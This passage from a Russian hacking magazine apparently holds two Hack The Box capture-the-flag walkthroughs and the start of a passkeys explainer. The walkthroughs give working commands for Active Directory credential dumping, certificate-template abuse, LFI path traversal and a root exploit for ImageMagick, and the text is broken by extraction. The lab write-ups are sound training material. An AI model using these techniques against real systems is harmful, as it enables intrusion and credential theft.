o.martinez
E

Про вод ник Windows

Рас шифру ем его с помощью клю ча вос ста нов ления BitLocker с HTML-стра -
нич ки и уви дим внут ри резер вную копию дис ка .C

Со дер жимое дис ка E

В катало ге с докумен тами у адми нис тра тора есть резер вная копия фай ла
ntds.dit.

До кумен ты адми нис тра тора

Со дер жимое архи ва

Файл ntds.dit содер жит информа цию о поль зовате лях домена, вклю чая хеши
их паролей и ключ Kerberos. Извлечь учет ные дан ные мож но с помощью

 из Impacket.secretsdump

secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL

Учет ные дан ные поль зовате лей домена

Сох раня ем име на домен ных поль зовате лей и их хеши в два фай ла и валиди -
руем учет ные дан ные с помощью NetExec.

 
nxc smb 10.10.11.31 -u ntds_users.txt -p ntds_passwords.txt 
--no-bruteforce --continue-on-success

Про вер ка учет ных дан ных

И ни одна не ока залась валид ной! Поп робу ем получить рас ширен ную
информа цию о поль зовате лях. Для ана лиза фай ла ntds.dit будем исполь -
зовать ути литу .ntdsdotsqlite

ntdsdotsqlite ntds.dit --system SYSTEM -o NTDS.sqlite

В ито ге получим базу дан ных SQLite со все ми дан ными. В опи сании поль -
зовате ля  находим пароль от учет ной записи.lan_managment

Дан ные из фай ла ntds.dit

Ïîëüçîâàòåëü infiltrator_svc$
Граф BloodHound показы вает, что у поль зовате ля  есть пра во

 на объ ект .

lan_managment
ReadGMSAPassword infiltrator_svc$

Граф BloodHound

Уп равля емые учет ные записи (MSA) — это спе циаль ный тип учет ных записей
Active Directory, которые мож но исполь зовать для безопас ного запус ка служб,
при ложе ний и заданий пла ниров щика. Основная их идея в том, что паролем
пол ностью управля ет Active Directory.

Для таких уче ток авто мати чес ки генери рует ся слож ный пароль дли -
ной 240 сим волов, который меня ется авто мати чес ки каж дые 30 дней.
Для аутен тифика ции исполь зует ся толь ко Kerberos, так как инте рак тивный
вход невоз можен. Это свя зано с тем, что пароль не известен никому и не хра -
нит ся в локаль ной сис теме, поэто му его нель зя извлечь из сис темно го про -
цес са LSASS с помощью Mimikatz.

Но и такими учет ными запися ми нуж но как-то управлять, а это зна чит, что,
если у нас есть к ним дос туп, мы можем получить хеш ее пароля. Сде лаем
это с помощью NetExec.

  nxc ldap 10.10.11.31 -u lan_managment -p 'l@n_M@an!1331' --gmsa

По луче ние хеша учет ной записи inltrator_svc$

У нас есть хеш пароля учет ной записи , а зна чит, мы ском -
про мети рова ли еще одну учет ную запись.

infiltrator_svc$

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

ESC4
На сер вере раз верну та служ ба сер тифика ции Active Directory, а зна чит, сто ит
про верить нас трой ки ADCS и активных шаб лонов сер тифика тов. Для это го
будем исполь зовать ути литу .Certipy

  
 

certipy find -u 'infiltrator_svc$' -hashes 
407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -vulnerable
-stdout

Шаб лон сер тифика та Inltrator_Template

Ути лита отме чает, что шаб лон сер тифика та Inltrator_Template мож но исполь -
зовать для экс плу ата ции уяз вимос ти ESC4.

Уяз вимость ESC4 зак люча ется в том, что ата кующий может изме нять свой -
ства шаб лона сер тифика та. Нап ример, мы можем изме нить парамет ры сер -
тифика та так, что бы он был уяз вим к ESC1 — ког да шаб лон сер тифика та раз -
реша ет про вер ку под линнос ти кли ента и дает зап рашива юще му ука зать про -
изволь ное аль тер натив ное имя субъ екта (SAN). Это при водит к тому, что мы
можем прой ти аутен тифика цию от име ни при виле гиро ван ного поль зовате ля,
вклю чая адми нис тра тора домена.

Мо дифи циру ем шаб лон сер тифика та , а затем зап -

росим сер тификат на имя поль зовате ля administrator.

Infiltrator_Template

  certipy template -u 'infiltrator_svc$' -hashes 
407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -template 
Infiltrator_Template -save-old

  certipy req -u 'infiltrator_svc$' -hashes 
407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -ca infiltrator-
DC01-CA -target infiltrator.htb -template Infiltrator_Template -upn 
administrator@infiltrator.htb

Зап рос сер тифика та

С помощью тех ники UnPAC the hash по сер тифика ту зап росим TGT-билет
поль зовате ля и извле чем из него хеш пароля адми нис тра тора.

certipy auth -pfx administrator.pfx

UnPAC the hash

Ос талось авто ризо вать ся на сер вере и заб рать пос ледний флаг.

evil-winrm -i dc01.infiltrator.htb -u administrator -H 
1356f502d2764368302ff0369b1121a1

Флаг рута

Ма шина зах вачена!

https://github.com/openwall/john/blob/bleeding-jumbo/run/7z2john.pl
https://github.com/almandin/ntdsdotsqlite
https://github.com/ly4k/Certipy
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ВЗЛОМ

Се год ня я покажу, как мож но исполь зовать
уяз вимую вер сию ImageMagick для выпол -
нения кода в Linux от име ни рута. Одна ко
сна чала нам пот ребу ется про экс плу ати -
ровать LFI и добыть дан ные из базы Gitea,
что бы получить обо лоч ку на сер вере.

На ша цель — получе ние прав супер поль зовате ля на машине Titanic с учеб ной
пло щад ки . Уро вень задания — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.55    titanic.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Apache 2.4.52.•

С SSH мы пока что ничего сде лать не можем, поэто му начина ем с веб-сер -
вера.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

В меню сай та ничего инте рес ного, поэто му вос поль зуем ся единс твен ной
дос тупной на дан ный момент фун кци ей Book Your Trip.

Фор ма Book Your Trip

За пол няем фор му тес товыми дан ными и нажима ем кноп ку Submit. В этот
момент заг ружа ется какой-то JSON-файл.

Заг рузка фай ла

Прос мотрим, как этот про цесс выг лядит в . Дан ные из фор мы
отправ ляют ся POST-зап росом на стра ницу , пос ле чего про исхо дит

редирект на стра ницу . Файл для ска чива ния ука зан в парамет ре

.

Burp Proxy

/book
/download

ticket

Зап рос в Burp Proxy

Про верим, нет ли здесь уяз вимос ти LFI — локаль ного вклю чения фай лов.
Для это го через  выпол ним зап рос на стра ницу  и в
парамет ре  ука жем файл  с обхо дом катало га.

Burp Repeater /download
ticket /etc/passwd

Со дер жимое фай ла /etc/passwd

Под робнее о прин ципах работы LFI читай в статье
«

».
File Inclusion и Path Traversal. Раз бира ем две

базовые веб-уяз вимос ти

Уяз вимость при сутс тву ет, а зна чит, мы можем читать про изволь ные фай лы.
Так как в качес тве веб-сер вера исполь зует ся при ложе ние на Python, пер вым
делом где-то рядом с текущим катало гом поищем харак терный для таких про -
ектов файл  — основной файл при ложе ния.app.py

Со дер жимое фай ла app.py

Ес ли выпол нить зап рос на веб-сер вер не по домен ному име ни, а по IP, в отве -
те в заголов ке  будет отме чен веб-сер вер Apache.Server

Дан ные зап роса и отве та

Так как Apache перенап равля ет зап росы, про верим стан дар тный для него
кон фиг . Одна ко новых

сай тов мы там не обна ружим.

/etc/apache2/sites-enabled/000-default.conf

Со дер жимое фай ла 000-default.conf

Мы зна ем домен ное имя, поп робу ем подоб рать под домены.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе -
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — URL;• -u
 — HTTP-заголо вок;• -H
 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков.• -t

Мес то перебо ра помеча ется сло вом FUZZ.

Что бы в выводе не отоб ражались все вари анты из сло варя, нуж но уста новить
филь тр. В нашем слу чае филь тро вать можем по коду отве та сер вера
(параметр ).-fс

Со бира ем всё вмес те и запус каем:

ffuf   
 128  301

-u http://titanic.htb -H 'Host: FUZZ.titanic.htb' -w subdomains-
top1million-110000.txt -t -fc

Ре зуль тат ска ниро вания под доменов

ÒÎ×ÊÀ ÎÏÎÐÛ

Мы наш ли новый сайт, для дос тупа к которо му обно вим запись в фай ле 

. При обновле нии стра ницы нас встре тит сер вис Gitea.

/etc/
hosts

10.10.11.55 titanic.htb dev.titanic.htb

Глав ная стра ница сай та

Пос мотрим дос тупные репози тории. Их два:  и .docker-config flask-app

Ре пози тории Gitea

В репози тории  находим файл . Там есть

учет ные дан ные для под клю чения к базе дан ных.

docker-config docker-compose.yml

Со дер жимое фай ла docker-compose.yml

Па роль никуда не подошел, одна ко, если прос мотреть исто рию ком митов,
в одном из них най дем каталог , где раз вернут Gitea./home/developer/gitea

Со дер жимое фай ла docker-compose.yml

Поп робу ем доб рать ся до фай ла базы дан ных Gitea. Тут нам поможет най ден -
ная ранее уяз вимость LFI. Получим файл по сле дующе му URL-эндпо инту:

/download?ticket=../../../../../../../home/developer/gitea/data/
gitea/gitea.db

От кро ем файл базы дан ных в  и прос мотрим дан ные

из таб лицы .

DB Browser for SQLite

user

Со дер жимое таб лицы user

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://sqlitebrowser.org/


ЭКСПЛУАТИРУЕМ RCE
В IMAGEMAGICK

ВЗЛОМ  НАЧАЛО СТАТЬИ

Ос талось проб рутить хеши и получить пароли поль зовате лей Gitea. В этом
нам поможет  в бло ге unix-ninja.пост

Из базы нам нуж но получить зна чения ,  и , пред ста -

вить в фор мате  и передать
в при веден ный ниже скрипт для пре обра зова ния в фор мат .

iterations salt hash
pbkdf2-sha256:$iterations:$salt:$hash

hashcat

#!/usr/bin/python3
# Converts gitea PBKDF2-HMAC-SHA256 hashes into a format hashcat can 
use
# written by unix-ninja

 import argparse
 import base64
 import sys

 def convert_hash(hash_string):
    """Converts a SALT+HASH string to a hashcat compatible format,
       ensuring the smaller input is treated as the salt.
       Use : or | as delimeters.
    """
       hash_string = hash_string.replace('|', ':')
    try:

           part1, part2 = hash_string.split(":")
     except ValueError:
        print(f"[-] Invalid input format: {hash_string}")

         return None

    try:
          bytes1 = bytes.fromhex(part1)
          bytes2 = bytes.fromhex(part2)

     except ValueError:
      print(f"[-] Invalid hex input: {hash_string}")

       return None

    # If lengths are equal, we will maintain the original order
       if len(bytes1) > len(bytes2):

          salt_bytes = bytes2
          hash_bytes = bytes1

    else:
          salt_bytes = bytes1
          hash_bytes = bytes2

      salt_b64 = base64.b64encode(salt_bytes).decode('utf-8')
      hash_b64 = base64.b64encode(hash_bytes).decode('utf-8')

     return f"sha256:50000:{salt_b64}:{hash_b64}"

 def main():
      parser = argparse.ArgumentParser(description="Convert Gitea 
SALT+HASH strings to a hashcat-compatible format.",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""Example:
    gitea2hashcat.py <salt1>:<hash1> <hash2>|<salt2> ... or pipe 
input from stdin.

    You can also dump output straight from sqlite into this script:
        sqlite3 gitea.db 'select salt,passwd from user;' | 
gitea2hashcat.py""")
      parser.add_argument('hashes', nargs='*', help='SALT+HASH strings 
to convert')
      args = parser.parse_args()

    # ... (rest of the main function remains the same)
    print("[+] Run the output hashes through hashcat mode 10900 (
PBKDF2-HMAC-SHA256)")
    print()

     if args.hashes:
        # Process command-line arguments

           for hash_string in args.hashes:
              converted_hash = convert_hash(hash_string)

             if converted_hash:
                print(converted_hash)

    else:
        # Process input from stdin

           for line in sys.stdin:
                hash_string = line.strip() # Remove leading/trailing 

whitespace
              converted_hash = convert_hash(hash_string)

             if converted_hash:
                print(converted_hash)

   if __name__ == "__main__":
    main()

Пре обра зова ние хеша в фор мат hashcat

По лучен ное зна чение сох раня ем в файл и отда ем хеш кету, при этом ука зыва -
ем режим 10900.

hashcat -m 10900 hash.txt rockyou.txt

Ре зуль тат под бора пароля

С получен ными учет ными дан ными авто ризу емся по SSH и забира ем пер вый
флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию о сис теме. Я буду исполь -
зовать для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и запус тим ска ниро вание. В выводе будет мно го информа ции, поэто му ищем
толь ко то, что смо жет нам помочь.

Чле ны груп пы  (а мы в нее вхо дим) име ют пра во записи

в катало ги  и .

developer
/opt/app/tickets /opt/app/static/assets/images

Дос тупные для записи катало ги

Сре ди добав ленных поль зовате лем исполня емых фай лов есть скрипт 
.

/opt/
scripts/identify_images.sh

Ис полня емые фай лы, добав ленные поль зовате лем

Пос мотрим содер жимое най ден ного скрип та. Из инте рес ного раз ве что
запуск в скрип те ути литы , но это мож но исполь зовать.magick

Со дер жимое фай ла identify_images.sh

Это ути лита из пакета ImageMagick. Давай про верим его вер сию.

Вер сия ImageMagick

На сер вере уста нов лена вер сия 7.1.1-35. Воз можно, для нее есть готовые
пуб личные экс пло иты. Поищем их.

По иск экс пло итов в Google

 из Google при водит нас к инте рес ной информа ции:
ImageMagick до вер сии 7.1.1-36 име ет уяз вимость .
Пер вая ссыл ка

CVE-2024-41817
ImageMagick может исполь зовать пус той путь при уста нов ке перемен ных

сре ды  и , что спо соб но при вес ти
к выпол нению про изволь ного кода путем заг рузки про изволь ных кон фигов
или биб лиотек из рабоче го катало га во вре мя выпол нения ImageMagick.

MAGICK_CONFIGURE_PATH LD_LIBRARY_PATH

Сде лаем свою биб лиоте ку  в катало ге 

. В коде будем прос то наз начать фай лу коман дной обо лоч ки
S-бит.

libxcb.so.1 /opt/app/static/
assets/images/

 #include <stdio.h>
 #include <stdlib.h>

  __attribute__((constructor)) void init(){
    system("chmod u+s /bin/bash");
    exit(0);
}

gcc  c   -x -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 
expl.c

Экс плу ата ция уяз вимос ти

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю.

Те перь мы можем выпол нить  в кон тек сте поль зовате ля root./bin/bash

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://www.unix-ninja.com/p/cracking_giteas_pbkdf2_password_hashes
https://github.com/carlospolop/PEASS-ng
https://github.com/carlospolop/PEASS-ng
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
https://nvd.nist.gov/vuln/detail/CVE-2024-41817


ПРИВАТНОСТЬ

При сло ве «крип тогра фия» все обыч но сра зу дума ют о шиф -
ровании, то есть сох ранении дан ных в сек рете. Но не менее
важ на и под линность: гаран тия того, что информа ция дей -
стви тель но исхо дит от надеж ного источни ка. Пароли тра -
дици онно слу жат для аутен тифика ции поль зовате лей, но они
уяз вимы для фишинг-атак и уте чек дан ных. И здесь
на помощь при ходят passkeys, они же — клю чи дос тупа.

Это близ кий к тек сту перес каз пос та 
 из бло га 

. Автор — Йоп ван де Пол. Этот матери ал
дос тупен без плат ной под писки.

The
cryptography behind passkeys The Trail
of Bits

Не будем здесь дол го раз гла голь ство вать о том, что такое passkeys и почему
они кру че паролей, — этой темой уже занялись    

.
мно гие ре сур сы весь ма под -

робно
Вмес то это го заг лянем под капот и раз берем ся в крип тогра фичес ких

механиз мах, сто ящих за passkeys: какие гаран тии они дают или не дают и что
инте рес ного мож но с этим сде лать, нап ример как соз давать крип тогра фичес -
кие клю чи и хра нить сер тифика ты.

Так же погово рим о глав ной спе цифи кации passkeys — WebAuthn
и покажем, как исполь зовать рас ширения механиз мов клю чей дос тупа
для соз дания более слож ных сис тем с раз ными воз можнос тями.

ÎÑÍÎÂÛ

Passkeys — это, по сути, пара крип тогра фичес ких клю чей: один пуб личный
(откры тый), дру гой при ват ный (сек ретный).

Ког да ты соз даешь passkey (пароль ный ключ) на сай те, тот сох раня ет
у себя толь ко пуб личный ключ и спе циаль ный иден тифика тор, свя зан ный
с этим клю чом.

По том, ког да ты пыта ешь ся вой ти на сайт, он отправ ляет тебе спе циаль -
ную задачу (вызов), которую нуж но под писать при ват ным клю чом. Вмес те
с отве том ты отправ ляешь и иден тифика тор, что бы сайт знал, какой пуб -
личный ключ исполь зовать для про вер ки. Если под пись пра виль ная — вход
раз реша ется.

С точ ки зре ния крип тогра фии тут все прос то. Зак рытый ключ под твержда ет
твою лич ность, но на сер вер не ухо дит ничего такого, что мог ло бы при -
годить ся взлом щику. Если сер верная задача сге нери рова на пра виль но, нап -
ример как слу чай ная пос ледова тель ность из 32 байт, то это защитит
от перебо ра. Сер вер хра нит толь ко откры тый ключ, и, пос коль ку ты ничего
важ ного туда не отправ ляешь, в слу чае взло ма никаких уте чек не будет.

Но одних толь ко циф ровых под писей недос таточ но, что бы решить проб -
лему фишин га. Если оста новить ся толь ко на крип тогра фии, поль зовате ли все
рав но оста ются под угро зой. Нап ример, без допол нитель ных мер зло умыш -
ленник может уго ворить поль зовате ля под писать что-то от име ни дру гого
сай та или исполь зовать одну и ту же пару клю чей на нес коль ких сай тах.

Вот почему passkeys соз даны на осно ве спе цифи кации ,
которая добав ляет к базовой крип тогра фии важ ные защит ные механиз мы.
Давай раз берем ся, как WebAuthn прев раща ет эти прос тые крип тогра фичес -
кие фичи в сис тему аутен тифика ции, стой кую к фишин гу.

WebAuthn от W3C

ÂÅÁ-ÀÓÒÅÍÒÈÔÈÊÀÖÈß (WEBAUTHN)

WebAuthn — это осно ва тех нологии passkeys. Если по-прос тому, то
это работа ет так: ты заходишь на сайт (он же — relying party) через бра узер (в
роли WebAuthn user agent), исполь зуя любое устрой ство — ноут бук, смар тфон
или ПК. Бра узер обща ется с аутен тифика тором — желез кой или прог раммой,
которая генерит клю чевую пару для passkeys и соз дает циф ровые под писи
с ее помощью.

Уп рощен ная схе ма аутен тифика ции с помощью клю ча дос тупа

На схе ме выше ты можешь уви деть, как работа ет аутен тифика ция с исполь -
зовани ем passkeys:
1. Сайт зап рашива ет авто риза цию через бра узер.
2. Бра узер свя зыва ется с аутен тифика тором.
3. Аутен тифика тор про веря ет логин, пароль и при сутс твие поль зовате ля.
4. Аутен тифика тор воз вра щает под писан ный ответ.
5. Бра узер отправ ляет этот ответ на сайт для про вер ки.

Вза имо дей ствие меж ду бра узе ром и устрой ством аутен тифика ции опи сано
под робнее в дру гой спе цифи кации — про токо ле 

 от FIDO Alliance. Мы сей час упро щаем для ясности; спе цифи -
кация WebAuthn пре дос тавля ет боль ше вари антов исполь зования (нап ример,
все может про исхо дить в мобиль ном при ложе нии вмес то сай та или бра узе -
ра). Но эти детали для обще го понима ния механиз ма не так важ ны.

Client to Authenticator
Protocol (CTAP)

ÇÀÙÈÒÀ ÎÒ ÔÈØÈÍÃÀ

WebAuthn реша ет проб лему фишин га с помощью при вяз ки к источни ку.
По спе цифи кации бра узе ры обя заны переда вать аутен тифика тору информа -
цию об источни ке зап роса, про ще говоря — сооб щать домен сай та. Аутен -
тифика тор, в свою оче редь, исполь зует passkeys толь ко в том слу чае, если
сайт, с которо го при шел зап рос, сов пада ет с тем, что соз дал этот самый
ключ.

Это зна чит, что, если ты соз дашь ключ дос тупа для bank.com, фишин говый
сайт на fake-bank.com прос то не смо жет его исполь зовать — твой аутен -
тифика тор отка жет ся выпол нять зап рос. Каж дому сай ту выда ется своя уни -
каль ная пара клю чей, что пол ностью реша ет проб лему пов торно го исполь -
зования паролей.

Спе цифи кация допус кает толь ко зап росы от источни ков, которые исполь -
зуют HTTPS. Это зна чит, что зап рос исхо дит от сер вера с дей стви тель ным
сер тифика том для нуж ного источни ка.

ÂÈÄÛ ÀÓÒÅÍÒÈÔÈÊÀÒÎÐÎÂ

В общем слу чае аутен тифика тор — это «что-то, что у тебя есть». Аутен тифика -
торы поз воля ют про верять, реаль но ли поль зователь при сутс тву ет в момент
аутен тифика ции. Некото рые из них могут еще про верить поль зовате ля
по прин ципу «что-то, что ты зна ешь», нап ример зап росив PIN-код,
или попытать ся убе дить ся, что ты тот, кем явля ешь ся, при помощи биомет -
рии.

Су щес тву ет два основных типа аутен тифика торов:
1.  Они оби тают пря мо внут ри тво его гад -

жета.

Àóòåí òèôèêà òîðû ïëàò ôîðìû.

 iCloud Keychain, Google Password Manager, Windows Hello,
1Password.

• Ïðè ìåðû:

 удобс тво исполь зования, час то пре дус матри вают облачное

резер вное копиро вание.

• Ïëþ ñû:

 уяз вимы, если сам девайс под угро зой ком про мета ции.• Ìè íóñû:

2.  Это отдель ные спе циали зиро ван ные

устрой ства.

Ïå ðåíîñ íûå àóòåí òèôèêà òîðû.

 YubiKeys, Titan Security Keys, Feitian-бре локи.• Ïðè ìåðû:

 мак сималь ная защита, устой чивость к взло му устрой ства.• Ïëþ ñû:

 лег ко потерять или сло мать, бэкапа обыч но нет.• Ìè íóñû:

Ес ли плат форма уме ет общать ся с дру гими устрой ства ми, нап ример
по Bluetooth, ее аутен тифика торы мож но исполь зовать как перенос ные.
Но если речь идет о супер важных при ложе ниях, луч ше воору жить ся спе циаль -
ными желез ками — аппа рат ными клю чами безопас ности.

Не кото рые аутен тифика торы показы вают тебе детали зап роса,
для которо го они генери руют циф ровую под пись. Если же аутен тифика тор
не может это го сде лать, бра узер отоб разит эти дан ные за него. Всег да про -
веряй эту информа цию, преж де чем одоб рять зап рос на аутен тифика цию.

ÕÐÀÍÅÍÈÅ ÊËÞ×ÅÉ

Ког да юзер регис три рует ся на сай те с помощью passkeys, аутен тифика тор
соз дает ключ и иден тифика тор (так называ емый credential ID). Сайт хра нит
пуб личный ключ и иден тифика тор, свя зывая их с акка унтом поль зовате ля.
Таким обра зом, сайт может исполь зовать иден тифика тор, что бы сооб щить
аутен тифика торам, какой имен но ключ они хотят дос тавить.

У некото рых аутен тифика торов боль шие хра нили ща, и они сами содер жат
все поль зователь ские клю чи. Дру гие это го сде лать не могут, поэто му они
шиф руют ключ и переда ют зашиф рован ный вари ант сай ту как иден тифика тор
во вре мя регис тра ции.

Ког да сайт хочет про вес ти аутен тифика цию поль зовате ля, он шлет этот
иден тифика тор в бра узер, а тот — в аутен тифика тор, который, в свою оче -
редь, рас шифро выва ет его и исполь зует пароль ный ключ.

То есть сайт, может быть, и хра нит ключ, но, так как ключ зашиф рован,
в слу чае взло ма сай та зло умыш ленни ком поль зовате лю это никак не нав -
редит.

ÄÎÂÅÐÈÅ Ê ÓÑÒÐÎÉÑÒÂÀÌ

Те оре тичес ки ты можешь прос то сох ранить пару крип тогра фичес ких клю чей
в файл, написать какой-нибудь софт, который будет исполь зовать эти клю чи
для крип тогра фичес ких опе раций, и выдать это за аутен тифика тор. Как сай -
там убе дить ся, что их поль зовате ли при меня ют надеж ные аутен тифика торы?

Аутен тифика торы могут крип тогра фичес ки доказать некото рые фак ты
о сво ем про исхожде нии (нап ример, кто их про изво дитель), соз давая аттеста -
цион ное заяв ление, ког да поль зователь генери рует ключ дос тупа. Это заяв -
ление под твержда ется цепоч кой сер тифика тов, под писан ных про изво дите -
лем. Это осо бен но полез но в кор поратив ной сре де, потому что поз воля ет
убе дить ся, что все исполь зуют спе цифи чес кие аутен тифика торы, которые
соот ветс тву ют опре делен ным тре бова ниям безопас ности.

Од нако аттеста ция не обя затель на: спе цифи кация WebAuthn не тре бует
от аутен тифика торов под дер жки этой фун кции.

ÏÎÒÅÐß ÄÎÑÒÓÏÀ

Что делать, если ты потерял свой аутен тифика тор или он сло мал ся? Со все ми
клю чами, которы ми он управлял, мож но рас про щать ся. Пос коль ку это слу чай -
но сге нери рован ные крип тогра фичес кие пары, вер нуть их уже не получит ся.

Боль шинс тво плат формен ных аутен тифика торов типа iCloud Keychain,
Google Password Manager и 1Password дают воз можность залить клю чи
в обла ко. Но это, конеч но, ком про мисс: вос ста нови мые клю чи име ют боль -
шую зону рис ка, ведь зло умыш ленни ки могут попытать ся ста щить их через
механизм вос ста нов ления.

Ко роче говоря, важ но, что бы сай ты име ли воз можность для вос ста нов -
ления дос тупа, ког да ты теря ешь свои клю чи, но при этом не сто ит забывать,
что имен но к этой лазей ке могут под красть ся ата кующие.

ÄÐÓÃÈÅ ÐÈÑÊÈ

Ис поль зование плат формен ных аутен тифика торов с воз можностью резер -
вно го копиро вания, конеч но, сни жает риск потери клю чей дос тупа, но не
устра няет его. Если тебя забанят на плат форме, про щай те, клю чи. А еще
плат форма может слу чай но потереть их. Плюс быва ет под дер жка шей рин га
клю чей с семь ей, где нес коль ко человек могут поль зовать ся общи ми клю -
чами, — это тоже соз дает рис ки. Сайт обя затель но дол жен пре дуп реждать
обо всем этом.

ÌÎÄÅËÜ ÓÃÐÎÇ

Passkeys — это, конеч но, не уни вер саль ное решение для безопас ности.
Давай раз берем ся, от чего они дей стви тель но защища ют.

 для passkeys показы вает, что они защища ют от тех же угроз,
что и стан дар тные пароли, но при этом устра няют риск фишин га и пов торно го
исполь зования паролей. Раз дел  в спе цифи кации WebAuthn
дела ет очень силь ное заяв ление о том, что сай ты, бра узе ры и аутен тифика -
торы, соот ветс тву ющие спе цифи кации, счи тают ся «защищен ными» от зло -
наме рен ных дей ствий.

Мо дель угроз

Conformance

Но это нем ного упро щен ная кар тина. Вот нес коль ко впол не реаль ных атак,
которые все еще могут про изой ти:

 Некото рые аутен тифика торы, нап ример YubiKey
5C, не име ют встро енно го дис плея и пол ностью полага ются на бра узер,
что бы показать тебе, на каком сай те ты аутен тифици руешь ся. Если тво им
бра узе ром зав ладе ет мал варь или вре донос ное рас ширение, он может
показы вать тебе «google.com», в то вре мя как на самом деле отправ ляет
тво ему аутен тифика тору зап рос для под писи от «attacker.com».

• Àòà êè ÷åðåç áðà óçåð.

 Устой чивость паролей

зависит от того, нас коль ко хорошо аутен тифика тор защища ет при ват ные
клю чи. Под дель ный ключ, заражен ное ПО аутен тифика тора или мал варь,
изоб ража ющая встро енный аутен тифика тор ОС, могут тай ком вытащить
твои при ват ные клю чи. Нап ример, покупая яко бы YubiKey у ненадеж ного
про дав ца, ты можешь нар вать ся на устрой ство, рас сыла ющее копии тво их
клю чей кому-то еще.

• Ñêîì ïðî ìåòè ðîâàí íûå àóòåí òèôèêà òîðû.

Passkeys — шту ка клас сная, но они не спа сут, если на твой девайс уже попала
мал варь или спай варь. Зато они работа ют как неп лохие огра ничи тели ата -
ки — каж дый раз, ког да зло умыш ленник захочет что-то под писать, пот ребу -
ется отдель ное вза имо дей ствие поль зовате ля с аутен тифика тором. Кро ме
того, клю чи дос тупа не защища ют от зло умыш ленни ков, которые могут кон -
тро лиро вать домен сай та.

Еще одна тон кость, которую сто ит учесть вла дель цам сай тов, — это кол -
лизии ID учет ных записей. Спе цифи кация тре бует, что бы они были 

. Это зна чит, что они генери руют ся слу чай но с очень малень -
ким, но все-таки не нулевым шан сом на дуб лирова ние, как это быва ет с UUID.

ве роят нос -
тно уни каль ными

По чему это важ но? Ког да поль зователь регис три рует ключ дос тупа, сайт
сох раня ет ID дан ных для иден тифика ции это го клю ча. Если хакер смо жет
каким-то обра зом зарегис три ровать ключ с таким же ID, как у жер твы, то
это вызовет путани цу при аутен тифика ции.

Это может показать ся малове роят ным, но пред ставь себе такие сце нарии:
Зло умыш ленник, который раз добыл ID учет ных дан ных жер твы (ска жем,
выудив из сетево го тра фика), может попытать ся зарегис три ровать собс -
твен ный ключ дос тупа с этим же ID.

•

Вре донос ное при ложе ние для аутен тифика ции может намерен но генери -
ровать дуб лиру ющие ID учет ных дан ных вмес то того, что бы соб людать
про токол о слу чай нос ти.

•

Ба ги в реали зации могут сок ратить сте пень слу чай нос ти при соз дании ID
учет ных дан ных.

•

Ре шение прос тое: сай ты дол жны всег да , если
ID нового клю ча уже сов пада ет с тем, что есть в базе дан ных. Это соз дает
прос тую защиту по прин ципу «кто успел, тот и съел» про тив кон флик тов иден -
тифика торов.

от кло нять попыт ки регис тра ции

ÐÀÑØÈÐÅÍÈß

WebAuthn поз воля ет сай там зап рашивать допол нитель ные фун кции (рас -
